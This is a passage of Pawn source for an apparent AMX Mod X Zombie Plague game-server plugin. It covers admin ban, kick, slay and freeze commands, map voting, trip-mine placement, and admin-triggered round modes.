                if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
                {
                        set_jetpack(iPlayer);
                }
                if (g_iPlayerType[iPlayer] & 8 && g_iWeapon[iPlayer] == 18)
                {
                        set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/v_awp_winter.mdl");
                }
        }
        return 0;
}

public Event_CurWeapon_FillClip(iPlayer)
{
        g_iWeapon[iPlayer] = read_data(2);
        if (g_bUnlimitedClip[iPlayer] || g_iPlayerType[iPlayer] & 4)
        {
                if(!(Thrownable_Weapons & (1 << g_iWeapon[iPlayer])))
                {
                        set_weapon_ammo(get_pdata_cbase(iPlayer, 373, 5), g_iMaxClip[g_iWeapon[iPlayer]]);
                }
        }
        return 0;
}

public Command_Unban(iPlayer)
{
        if (!GetAccess(iPlayer, 2048, 2))
        {
                return 1;
        }
        static cArgument[32];
        read_argv(1, cArgument, 31);
        if (contain(cArgument, ":") != -1)
        {
                server_cmd("removeid %s;writeid", cArgument);
                MessageLog(0, "^x01[ADMIN]^x04 %s^x01: unbanned^x04 %s", g_cName[iPlayer], cArgument);
        }
        if (contain(cArgument, ".") != -1)
        {
                server_cmd("removeip ^"%s^";writeip", cArgument);
                MessageLog(0, "^x01[ADMIN]^x04 %s^x01: unbanned^x04 %s", g_cName[iPlayer], cArgument);
        }
        return 1;
}

public Command_Addban(iPlayer, iLevel, iCid)
{
        if (!GetAccess(iPlayer, 8, 3))
        {
                return 1;
        }
        if (3 < g_iLimitReached[iPlayer])
        {
                return 1;
        }
        static cArgument[32];
        read_argv(1, cArgument, 31);
        static iTime;
        static iMinutes[32];
        read_argv(2, iMinutes, 31);
        iTime = clamp(str_to_num(iMinutes), 0, 999999);
        if (contain(cArgument, ":") != -1 && contain(cArgument, ".0") != -1 && cArgument[0] != 48)
        {
                server_cmd("banid %i %s", iTime, cArgument);
                server_cmd("writeid");
                if (iTime)
                {
                        MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], cArgument, iTime);
                }
                else
                {
                        MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x03 permanently", g_cName[iPlayer], cArgument);
                }
                g_iLimitReached[iPlayer]++;
        }
        if (contain(cArgument, ".") != -1 && contain(cArgument, ".0") != -1 && cArgument[0] != 48)
        {
                server_cmd("addip %i ^"%s^";writeip", iTime, cArgument);
                if (iTime)
                {
                        MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], cArgument, iTime);
                }
                else
                {
                        MessageLog(0, "^x01[ADMIN]^x04 %s^x01: ban^x04 %s^x03 permanently", g_cName[iPlayer], cArgument);
                }
                g_iLimitReached[iPlayer]++;
        }
        return 1;
}

public Command_Banip(iPlayer, iLevel, iCid)
{
        if (!GetAccess(iPlayer, 8, 4))
        {
                return 1;
        }
        static szArgument[32];
        read_argv(1, szArgument, 31);
        static iTime;
        static szTime[7];
        read_argv(2, szTime, 6);
        iTime = clamp(str_to_num(szTime), 0, 999999);
        static szReason[64];
        read_argv(3, szReason, 63);
        static iTarget;
        iTarget = GetTarget(iPlayer, szArgument, 4);
        if (!iTarget)
        {
                return 1;
        }
        g_iLimitReached[iPlayer]++;
        if (3 < g_iLimitReached[iPlayer])
        {
                return 1;
        }
        console_print(iTarget, "*****************************");
        console_print(iTarget, "Ban Informations:");
        console_print(iTarget, "[*] Banned by admin: %s", g_cName[iPlayer]);
        if (iTime)
        {
                console_print(iTarget, "[*] Banned for: %i minutes", iTime);
        }
        else
        {
                console_print(iTarget, "[*] Banned permanently");
        }
        console_print(iTarget, "[*] Banned on: %s", g_cPlayerAddress[iTarget]);
        console_print(iTarget, "[*] Ban reason is: %s", szReason);
        console_print(iTarget, "*****************************");
        server_cmd("addip %i %s;writeip", iTime, g_cPlayerAddress[iTarget]);
        if (iTime)
        {
                MessageLog(0, "^x01[ADMIN]^x04 %s^x01: banned^x04 %s^x01 for^x04 %i minutes", g_cName[iPlayer], g_cName[iTarget], iTime);
                MessageLog(0, "^x01Reason:^x04 %s", szReason);
        }
        else
        {
                MessageLog(0, "^x01[ADMIN]^x04 %s^x01: banned^x04 %s^x03 permanently", g_cName[iPlayer], g_cName[iTarget]);
                MessageLog(0, "^x01Reason:^x04 %s", szReason);
        }
        return 1;
}

public CmdFreeze(iPlayer)
{
        if (!GetAccess(iPlayer, 8, 2))
        {
                return 1;
        }
        static cArgument[32];
        read_argv(1, cArgument, 31);
        static iTarget;
        iTarget = GetTarget(iPlayer, cArgument, 6);
        if (!iTarget)
        {
                return 1;
        }
        PrintToChat(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x04 frost^x01 due to^x04 camping", g_cName[iPlayer], g_cName[iTarget]);
        set_frozen(iTarget, true);
        set_glow(iTarget, 19, 32, 0, 50, 90);
        g_bFrozen[iTarget] = true;
        ExecuteHamB(Ham_Item_PreFrame, iTarget);
        return 1;
}

public CmdUnfreeze(iPlayer)
{
        if (!GetAccess(iPlayer, 8, 2))
        {
                return 1;
        }
        static cArgument[32];
        read_argv(1, cArgument, 31);
        static iTarget;
        iTarget = GetTarget(iPlayer, cArgument, 6);
        if (!iTarget)
        {
                return 1;
        }
        PrintToChat(0, "^x01[ADMIN]^x04 %s:^x01 made^x04 %s^x03 unfrozen", g_cName[iPlayer], g_cName[iTarget]);
        set_frozen(iTarget, false);
        remove_glow(iTarget);
        g_bFrozen[iTarget] = false;
        ExecuteHamB(Ham_Item_PreFrame, iTarget);
        return 1;
}

public Command_Kick(iPlayer)
{
        if (!GetAccess(iPlayer, 4, 2))
        {
                return 1;
        }
        static cArgument[32];
        read_argv(1, cArgument, 31);
        static iTarget;
        iTarget = GetTarget(iPlayer, cArgument, 5);
        if (!iTarget)
        {
                return 1;
        }
        server_cmd("kick #%i", get_user_userid(iTarget));
        MessageLog(0, "^x01[ADMIN]^x04 %s^x01: kick^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
        return 1;
}

public Command_Slap(iPlayer)
{
        if (!GetAccess(iPlayer, 16, 2))
        {
                return 1;
        }
        static cArgument[32];
        read_argv(1, cArgument, 31);
        static iTarget;
        iTarget = GetTarget(iPlayer, cArgument, 6);
        if (!iTarget)
        {
                return 1;
        }
        user_slap(iTarget, 0, 1);
        MessageLog(0, "^x01[ADMIN]^x04 %s^x01: slap^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
        return 1;
}

public Command_Slay(iPlayer)
{
        if (!GetAccess(iPlayer, 16, 2))
        {
                return 1;
        }
        static cArgument[32];
        read_argv(1, cArgument, 31);
        static iTarget;
        iTarget = GetTarget(iPlayer, cArgument, 6);
        if (!iTarget)
        {
                return 1;
        }
        user_kill(iTarget);
        MessageLog(0, "^x01[ADMIN]^x04 %s^x01: slay^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
        return 1;
}

public Command_Map(iPlayer)
{
        if (!GetAccess(iPlayer, 1, 2))
        {
                return 1;
        }
        static cArgument[32];
        read_argv(1, cArgument, 31);
        if (is_map_valid(cArgument))
        {
                MessageLog(0, "^x01[ADMIN]^x04 %s^x01: change map to^x04 %s", g_cName[iPlayer], cArgument);
                set_cvar_string("nextmap", cArgument);
                set_task(1.0, "TaskInt", 0, "", 0, "", 0);
                set_task(3.0, "TaskChangeLevel", 0, "", 0, "", 0);
        }
        else
        {
                client_print(iPlayer, 2, "[AMXX] The map you want isn't a valid map!");
        }
        return 1;
}

public Command_AddFake(iPlayer)
{
        if (!GetAccess(iPlayer, 1, 2))
        {
                return 1;
        }
        remove_task(750);
        set_task(3.0, "Task_CheckBots", 750, "", 0, "b", 0);
        return 1;
}

public MessageMoney(iMessage, iDestination, iPlayer)
{
        if (g_bConnected[iPlayer])
        {
                reset_money(iPlayer);
        }
        return 1;
}

public CmdVoteMap(iPlayer)
{
        if (get_user_flags(iPlayer) & 8)
        {
                if (3 > read_argc())
                {
                        console_print(iPlayer, "[ZP] Command usage is amx_votemap <map> <map>");
                        return 1;
                }
                if (g_bVoting || g_bSecondVoting)
                {
                        console_print(iPlayer, "[ZP] You can't start the vote right now..");
                        return 1;
                }
                static cSecondMap[32];
                static cMap[32];
                read_argv(1, cMap, 32);
                read_argv(2, cSecondMap, 32);
                if (is_map_valid(cMap) && is_map_valid(cSecondMap))
                {
                        static i;
                        g_bSecondVoting = true;
                        set_task(15.0, "CheckSecondVotes", iPlayer, "", 0, "", 0);
                        MessageLog(0, "^x04[ZP]^x01 ADMIN^x04 %s^x01 initiated a vote with^x04 %s^x01 and^x04 %s", g_cName[iPlayer], cMap, cSecondMap);
                        copy(g_cSecondMaps[0], 32, cMap);
                        copy(g_cSecondMaps[1], 32, cSecondMap);
                        g_iMenu = menu_create("Choose the next map!", "SecondVotePanel");
                        menu_additem(g_iMenu, cMap, "1", 0, -1);
                        menu_additem(g_iMenu, cSecondMap, "2", 0, -1);
                        menu_setprop(g_iMenu, 6, -1);
                        i = 1;
                        while (g_iMaxClients + 1 > i)
                        {
                                if (g_bConnected[i] && !g_bFake[i])
                                {
                                        menu_display(i, g_iMenu);
                                }
                                i += 1;
                        }
                }
                else
                {
                        console_print(iPlayer, "[ZP] Unable to find specified map or one of the specified map(s)!");
                }
                return 1;
        }
        return 0;
}

public VotePanel(iPlayer, iMenu, iItem)
{
        if (iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
        {
                if (g_bVoting)
                {
                        static iKeyMinusDoi;
                        static iKeyMinusUnu;
                        static iKey;
                        static iDummy;
                        static cData[32];
                        menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
                        iKey = str_to_num(cData);
                        iKeyMinusUnu = iKey + -1;
                        iKeyMinusDoi = iKey + -2;
                        if (0 > iKeyMinusUnu)
                        {
                                iKeyMinusUnu = 0;
                        }
                        if (0 > iKeyMinusDoi)
                        {
                                iKeyMinusDoi = 0;
                        }
                        if (iKey == 1)
                        {
                                if (g_iVotes[0] + 1 == 1)       
                                {       
                                    PrintToChat(0, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
                                }       
                                else
                                {
                                    PrintToChat(0, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
                                }       
                        }
                        else
                        {
                                if (g_iVotes[iKeyMinusUnu] == 1)
                                {
                                        PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
                                }       
                                else
                                {
                                        PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
                                }       
                        }
                        g_iVotes[iKeyMinusUnu]++;
                }
                else
                {
                        PrintToChat(iPlayer, "^1This vote is^4 no longer^1 available!");
                        return 1;
                }
        }
        return 0;
}

public SecondVotePanel(iPlayer, iMenu, iItem)
{
        if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
        {
                if (g_bSecondVoting)
                {
                        static iKeyMinusUnu;
                        static iKey;
                        static iDummy;
                        static cData[32];
                        menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
                        iKey = str_to_num(cData);
                        iKeyMinusUnu = iKey + -1;
                        if (0 > iKeyMinusUnu)
                        {
                                iKeyMinusUnu = 0;
                        }
                        if (g_iSecondVotes[iKeyMinusUnu] == 1)
                        {
                            PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);

                        }
                        else
                        {
                            PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
                        }
                        g_iSecondVotes[iKeyMinusUnu]++;
                }
                else
                {
                        PrintToChat(iPlayer, "^1This vote is^4 no longer^1 available!");
                        return 1;
                }
        }
        return 0;
}

public TaskInt()
{
        send_intermission();
        return 0;
}

public TaskChangeLevel()
{
        changelevel();
        return 0;
}

public CheckSecondVotes(iPlayer)
{
        static iVoteOption;
        static iMaximumVotes;
        g_bSecondVoting = false;
        iMaximumVotes = -1;
        g_iVariable = 0;
        while (g_iVariable < 2)
        {
                if (iMaximumVotes < g_iSecondVotes[g_iVariable])
                {
                        iMaximumVotes = g_iSecondVotes[g_iVariable];
                        iVoteOption = g_iVariable;
                }
                g_iVariable += 1;
        }
        PrintToChat(0, "^x01The next map will be^x04 %s", g_cSecondMaps[iVoteOption]);
        set_cvar_string("nextmap", g_cSecondMaps[iVoteOption]);
        if (g_bConnected[iPlayer] && !g_bFake[iPlayer])
        {
        g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange");
        menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
        menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
        menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
        menu_setprop(g_iMenu, 6, -1);
        menu_display(iPlayer, g_iMenu, 0);
        }
        g_iSecondVotes[1] = 0;
        g_iSecondVotes[0] = 0;
        return 0;
}

public _MenuChange(iPlayer, iMenu, iItem)
{
        static iChoice;
        static iDummy;
        static cBuffer[3];
        menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
        iChoice = str_to_num(cBuffer);
        switch (iChoice)
        {
                case 0:
                {
                        static cMap[32];
                        get_cvar_string("nextmap", cMap, 32);
                        PrintToChat(0, "^x04[ZP]^x01 Changing map to^x04 %s^x01...", cMap);
                        set_cvar_num("mp_timelimit", 0);
                        set_task(1.0, "TaskChangeLevel", 0, "", 0, "", 0);
                }
                case 1:
                {
                        static cMap[32];
                        get_cvar_string("nextmap", cMap, 32);
                        PrintToChat(0, "^x04[ZP]^x01 Console variable^x04 nextmap^x01 has been changed to^x04 %s^x01...", cMap);
                        set_cvar_num("mp_timelimit", 0);
                        g_iVariables[0] = 1;
                }
                case 2:
                {
                        PrintToChat(0, "^x04[ZP]^x01 We will stay here...");
                }       
        }
        return 0;
}

public CheckVotes()
{
        static iVoteOption;
        static iMaximumVotes;
        g_bVoting = false;
        iMaximumVotes = -1;
        g_iVariable = 0;
        while (g_iVariable < 5)
        {
                if (iMaximumVotes < g_iVotes[g_iVariable])
                {
                        iMaximumVotes = g_iVotes[g_iVariable];
                        iVoteOption = g_iVariable;
                }
                g_iVariable += 1;
        }
        if (iVoteOption)
        {
                PrintToChat(0, "^x01The next map will be^x04 %s", g_cMaps[iVoteOption + -1]);
                set_cvar_string("nextmap", g_cMaps[iVoteOption + -1]);
                set_cvar_num("mp_timelimit", 0);
                g_iVariables[0] = 1;
        }
        else
        {
                PrintToChat(0, "^x01This map will be extended with^x04 10^x01 minutes!");
                g_iVariable = 0;
                while (g_iVariable < 5)
                {
                        g_iVotes[g_iVariable] = 0;
                        g_iVariable += 1;
                }
                set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
                set_cvar_num("mp_timelimit", get_cvar_num("mp_timelimit") + 10);
        }
        g_iVariable = 0;
        while (g_iVariable < 5)
        {
                g_iVotes[g_iVariable] = 0;
                g_iVariable += 1;
        }
        return 0;
}

public CheckTimeleft(iDecimal)
{
        static Float:fTimeLeft;
        fTimeLeft = GetTimeLeft();
        if (get_cvar_num("mp_timelimit") && fTimeLeft < 200.0 && !g_bSecondVoting && !g_bVoting)
        {
                remove_task(iDecimal);
                g_bVoting = true;
                set_task(15.0, "CheckVotes", 0, "", 0, "", 0);
                g_iMenu = menu_create("Choose the next map!", "VotePanel");
                menu_additem(g_iMenu, "Extend this map", "1", 0, -1);
                static j[32];
                static i;
                i = 2;
                g_iVariable = 0;
                while (g_iVariable < 4)
                {
                        num_to_str(i, j, 32);
                        menu_additem(g_iMenu, g_cMaps[g_iVariable], j, 0, -1);
                        i += 1;
                        g_iVariable += 1;
                }
                menu_setprop(g_iMenu, 6, -1);
                g_iVariable = 1;
                while (g_iMaxClients + 1 > g_iVariable)
                {
                        if (g_bConnected[g_iVariable] && !g_bFake[g_iVariable])
                        {
                                menu_display(g_iVariable, g_iMenu);
                        }
                        g_iVariable += 1;
                }
                PrintToChat(0, "^x01It's time to^x04 choose the nextmap^x01...");
                client_cmd(0, "spk Gman/Gman_Choose2");
        }
        return 0;
}

Float:GetTimeLeft()
{
    return get_cvar_float("mp_timelimit") * 60.0 - get_gametime();
}

public Command_Plant(iPlayer)
{
        if (g_bConnected[iPlayer])
        {
                if (!g_bAlive[iPlayer])
                {
                        PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
                        return 0;
                }
                if (g_bZombie[iPlayer])
                {
                        PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
                        return 0;
                }
                if (!g_iTripMines[iPlayer])
                {
                        PrintToChat(iPlayer, "^4[ZP]^1 You don't have a trip mine to plant");
                        return 0;
                }
                if (1 < g_iPlantedMines[iPlayer])
                {
                        PrintToChat(iPlayer, "^4[ZP]^1 You can plant only^3 2 trip mines^1...");
                        return 0;
                }
                if (g_iRoundType & 128 || g_bRoundEnd)
                {
                        PrintToChat(iPlayer, "^4[ZP]^1 You can't plant a trip mine right now...");
                        return 0;
                }
                if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
                {
                        return 0;
                }
                if (CanPlant(iPlayer))
                {
                        g_bPlanting[iPlayer] = true;
                        send_bar_time(iPlayer);
                        set_task(1.0, "Func_Plant", iPlayer + 450, "", 0, "", 0);
                }
        }
        return 0;
}

public Command_Take(iPlayer)
{
        if (g_bConnected[iPlayer])
        {
                if (!g_bAlive[iPlayer])
                {
                        PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
                        return 0;
                }
                if (g_bZombie[iPlayer])
                {
                        PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
                        return 0;
                }
                if (!g_iPlantedMines[iPlayer])
                {
                        PrintToChat(iPlayer, "^4[ZP]^1 You don't have a planted trip mine");
                        return 0;
                }
                if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
                {
                        return 0;
                }
                if (can(iPlayer))
                {
                        g_bRemoving[iPlayer] = true;
                        send_bar_time(iPlayer);
                        set_task(1.0, "Func_Take", iPlayer + 500, "", 0, "", 0);
                }
        }
        return 0;
}

public Func_Take(iPlayer)
{
        iPlayer += -500;
        g_bRemoving[iPlayer] = false;
        static iCount;
        static iEntities[2];
        iCount = ent(iPlayer, iEntities);
        if (iCount)
        {
                g_iPlantedMines[iPlayer]--;
                g_iTripMines[iPlayer]++;
                if (iEntities[0] == g_iPlayerMines[iPlayer][0])
                {
                        g_iPlayerMines[iPlayer][0] = 0;
                }
                else if (iEntities[0] == g_iPlayerMines[iPlayer][1])
                {
                        g_iPlayerMines[iPlayer][1] = 0;
                }
                remove_entity(iEntities[0]);
        }
        return 0;
}

public bool: CanPlant( iPlayer )
{
    static Float:flOrigin[ 3 ];
    entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
    static Float:flTraceDirection[ 3 ];
    static Float:flTraceEnd[ 3 ];
    static Float:flTraceResult[ 3 ];
    static Float:flNormal[ 3 ];
    velocity_by_aim( iPlayer, 64, flTraceDirection );
    flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
    flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
    flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
    static Float: flFraction, iTr;
    iTr = 0;
    engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
    get_tr2( iTr, TR_vecEndPos, flTraceResult );
    get_tr2( iTr, TR_vecPlaneNormal, flNormal );
    get_tr2( iTr, TR_flFraction, flFraction );
    if( flFraction >= 1.0 )
    {
        send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 You must plant the^x03 mine^x01 on a wall!");
        return false;
    }
    return true;
}

public Func_Plant(iPlayer)
{
        iPlayer -= 450;
        g_bPlanting[ iPlayer ] = false;
        static iEntity;
        static Float: flOrigin[ 3 ];
        entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
        static Float: flTraceDirection[ 3 ], Float: flTraceEnd[ 3 ], Float: flTraceResult[ 3 ], Float: flNormal[ 3 ];
        velocity_by_aim( iPlayer, 128, flTraceDirection );
        flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
        flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
        flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
        static Float: flFraction, iTr;
        iTr = 0;
        engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
        get_tr2( iTr, TR_vecEndPos, flTraceResult );
        get_tr2( iTr, TR_vecPlaneNormal, flNormal );
        get_tr2( iTr, TR_flFraction, flFraction );
        iEntity = create_mine();
        if(!iEntity)
        {
                return 0;
        }
        set_glow(iEntity, 19, 13, 0, 120, 240);
        entity_set_int( iEntity, EV_INT_iuser2, iPlayer )
        g_iPlantedMines[ iPlayer ]++;
        set_pev( iEntity, pev_iuser3, g_iPlantedMines[ iPlayer ] );
        entity_set_float( iEntity, EV_FL_frame, 0.0 );
        entity_set_float( iEntity, EV_FL_framerate, 0.0 );
        entity_set_int( iEntity, EV_INT_movetype, MOVETYPE_FLY );
        entity_set_int( iEntity, EV_INT_solid, SOLID_NOT );
        entity_set_int( iEntity, EV_INT_body, 3 );
        entity_set_int( iEntity, EV_INT_sequence, 7 );
        entity_set_float( iEntity, EV_FL_takedamage, DAMAGE_NO );
        entity_set_int( iEntity, EV_INT_iuser1, 0 );
        static Float: flNewOrigin[ 3 ], Float: flEntAngles[ 3 ];
        flNewOrigin[ 0 ] = flTraceResult[ 0 ] + ( flNormal[ 0 ] * 8.0 );
        flNewOrigin[ 1 ] = flTraceResult[ 1 ] + ( flNormal[ 1 ] * 8.0 );
        flNewOrigin[ 2 ] = flTraceResult[ 2 ] + ( flNormal[ 2 ] * 8.0 );
        entity_set_origin( iEntity, flNewOrigin );
        vector_to_angle( flNormal, flEntAngles );
        entity_set_vector( iEntity, EV_VEC_angles, flEntAngles );
        flEntAngles[ 0 ] *= -1.0;
        flEntAngles[ 1 ] *= -1.0;
        flEntAngles[ 2 ] *= -1.0;
        entity_set_vector( iEntity, EV_VEC_v_angle, flEntAngles );
        g_iTripMines[iPlayer]--;
        if (g_iPlayerMines[iPlayer][0])
        {
                g_iPlayerMines[iPlayer][1] = iEntity;
        }
        else
        {
                g_iPlayerMines[iPlayer][0] = iEntity;
        }
        sound(iEntity, 3, "zombie_plague/mine_deploy.wav");
        sound(iEntity, 3, "zombie_plague/mine_charge.wav");
        set_nextthink(iEntity, get_gametime() + 0.6);
        return 0;
}

public CmdMode(iPlayer)
{
        if (g_bAdmin[iPlayer])
        {
                static iJetpacks[33];
                static AssassinUsed;
                static NemesisUsed;
                static UsedAlready[33];
                static iAmmo;
                static cAmmo[4];
                static iAlive;
                static iTarget;
                static cTarget[32];
                static iFlags;
                static cMode[32];
                read_argv(0, cMode, 32);
                read_argv(1, cTarget, 31);
                read_argv(2, cAmmo, 4);
                iAmmo = clamp(str_to_num(cAmmo), 0, 999999);
                iAlive = GetAliveCount();
                iTarget = GetTarget(iPlayer, cTarget, 0);
                iFlags = get_user_flags(iPlayer);
                if (get_gametime() - g_fRoundStartTime < 2.0)
                {
                        PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after round started!");
                        console_print(iPlayer, "[ZP] Please wait at least two seconds after round started!");
                        return 0;
                }
                if (equal(cMode, "zp_jetpack") && iTarget && iFlags & 1 && g_bAlive[iTarget] && !g_bZombie[iTarget] && iJetpacks[iPlayer] <= 3)
                {
                        if (get_user_jetpack(iTarget))
                        {
                                user_drop_jetpack(iTarget, 1);
                        }
                        set_user_jetpack(iTarget, 1);
                        iJetpacks[iPlayer]++;
                        set_user_fuel(iTarget, 250.0);
                        set_user_rocket_time(iTarget, 0.0);
                        send_say_text(iTarget, g_iMaxClients + 1, "^x04[ZP]^x01 Press^x03 CTR+SPACE^x01 to fly!");
                        send_say_text(iTarget, g_iMaxClients + 1, "^x04[ZP]^x01 Press^x03 RIGHT CLICK^x01 to shoot!");
                }
                if (equal(cMode, "zp_giveap") && iTarget && iFlags & 1)
                {
                        PrintToChat(0, "^x01[ADMIN]^x04 %s^x01: give^x04 %d^x01 ammopacks to^x04 %s", g_cName[iPlayer], iAmmo, g_cName[iTarget]);
                        g_iPacks[iTarget] += iAmmo;
                }
                if (equal(cMode, "zp_human") && iTarget && g_bAlive[iTarget] && !UsedAlready[iPlayer] && iAlive > 2 && !g_iRoundType && g_iRoundsCount && iFlags & 131072)
                {
                        if (!g_iPlayerType[iTarget] && !g_bZombie[iTarget])
                        {
                                return 0;
                        }
                        MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Human", g_cName[iPlayer], g_cName[iTarget]);
                        MakeHuman(iTarget, false, false);
                        UsedAlready[iPlayer] = 1;
                        log_to_file("zombie_plague_advance.log", "%s made %s a Human", g_cName[iPlayer], g_cName[iTarget]);
                }
                if (equal(cMode, "zp_respawn") && iTarget && !g_bAlive[iTarget] && !UsedAlready[iPlayer] && !g_iRoundType && g_iRoundsCount && 0 < get_user_team(iTarget) < 3 && iFlags & 131072)
                {
                        ExecuteHamB(Ham_CS_RoundRespawn, iTarget);
                        MessageLog(0, "^x01[ADMIN]^x04 %s^x01: respawned^x04 %s", g_cName[iPlayer], g_cName[iTarget]);
                        UsedAlready[iPlayer] = 1;
                        log_to_file("zombie_plague_advance.log", "%s respawn %s", g_cName[iPlayer], g_cName[iTarget]);
                }
                if (equal(cMode, "zp_zombie") && iTarget && g_bAlive[iTarget] && !UsedAlready[iPlayer] && !g_iRoundType && g_iRoundsCount && iFlags & 131072)
                {
                        if (g_bZombie[iTarget] && !g_iPlayerType[iTarget])
                        {
                                return 0;
                        }
                        if (g_bRoundStart)
                        {
                                StartNormalMode(iTarget);
                                remove_task(700);
                                g_bRoundStart = false;
                                remove_task(550);
                                MakeZombie(0, iTarget, false, false, false);
                                MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Zombie", g_cName[iPlayer], g_cName[iTarget]);
                                UsedAlready[iPlayer] = 1;
                                log_to_file("zombie_plague_advance.log", "%s made %s Zombie", g_cName[iPlayer], g_cName[iTarget]);                               
                        }
                }
                if (equal(cMode, "zp_sniper") && iTarget && g_bAlive[iTarget] && !(g_iPlayerType[iTarget] & 8) && iFlags & 1)
                {
                        if (g_bRoundStart)
                        {                       
                                StartSniperMode(iTarget);
                                remove_task(700);
                                g_bRoundStart = false;
                                remove_task(550);
                                MakeHuman(iTarget, false, true);
                                MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Sniper", g_cName[iPlayer], g_cName[iTarget]);
                                log_to_file("zombie_plague_advance.log", "%s made %s Sniper", g_cName[iPlayer], g_cName[iTarget]);
                        }
                }
                if (equal(cMode, "zp_survivor") && iTarget && g_bAlive[iTarget] && !(g_iPlayerType[iTarget] & 4) && iFlags & 1)
                {
                        if (g_bRoundStart)
                        {                                                       
                                StartSurvivorMode(iTarget);
                                remove_task(700);
                                g_bRoundStart = false;
                                remove_task(550);
                                MakeHuman(iTarget, true, false);
                                MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Survivor", g_cName[iPlayer], g_cName[iTarget]);
                                log_to_file("zombie_plague_advance.log", "%s made %s Survivor", g_cName[iPlayer], g_cName[iTarget]);
                        }                       
                }
                if (equal(cMode, "zp_nemesis") && iTarget && g_bAlive[iTarget] && !NemesisUsed && !(g_iPlayerType[iTarget] & 1) && iFlags & 262144)
                {
                        if (g_bRoundStart)
                        {                                       
                                StartNemesisMode(iTarget);
                                remove_task(700);
                                g_bRoundStart = false;
                                remove_task(550);
                                NemesisUsed = 1;
                                MakeZombie(0, iTarget, false, true, false);
                                MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Nemesis", g_cName[iPlayer], g_cName[iTarget]);
                                log_to_file("zombie_plague_advance.log", "%s made %s Nemesis", g_cName[iPlayer], g_cName[iTarget]);       
                        }                       
                }
                if (equal(cMode, "zp_assassin") && iTarget && g_bAlive[iTarget] && !AssassinUsed && !(g_iPlayerType[iTarget] & 2) && iFlags & 262144)
                {
                        if (g_bRoundStart)
                        {                                                       
                                StartAssassinMode(iTarget);
                                remove_task(700);
                                g_bRoundStart = false;
                                remove_task(550);
                                AssassinUsed = 1;
                                MakeZombie(0, iTarget, false, false, true);
                                MessageLog(0, "^x01[ADMIN]^x04 %s^x01: made^x04 %s^x01 Assassin", g_cName[iPlayer], g_cName[iTarget]);
                                log_to_file("zombie_plague_advance.log", "%s made %s Assassin", g_cName[iPlayer], g_cName[iTarget]);       
                        }                       
                }
                if (equal(cMode, "zp_swarm") && g_bRoundStart && iFlags & 262144 && iAlive > 9 && g_iLastMode != 64)
                {
                        StartSwarmMode(true);
                        remove_task(700);
                        g_bRoundStart = false;
                        remove_task(550);
                        MessageLog(0, "^x04[ZP]^x03 %s^x01 started^x04 Swarm^x01 round!", g_cName[iPlayer]);
                }
